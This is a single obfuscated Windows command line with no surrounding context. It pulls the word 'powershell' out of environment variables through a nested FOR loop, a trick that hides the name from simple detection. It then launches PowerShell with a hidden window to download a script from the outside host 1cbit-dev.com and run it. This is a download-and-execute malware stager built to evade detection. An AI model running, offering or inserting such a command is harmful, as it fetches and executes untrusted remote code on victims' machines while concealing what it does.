C:\Windows\System32\cmd.exe /c FOR /f "tokens=4 delims=s\" %g in ('set^|findstr PSM') do cmd /c for /f "tokens=*" %j in ("%g -WindowStyle Hidden -c (New-Object Net.WebClient).DownloadString('https://1cbit-dev.com/machines/legacy/zeta/fetch.html')") do %g -WindowStyle Hidden "%j"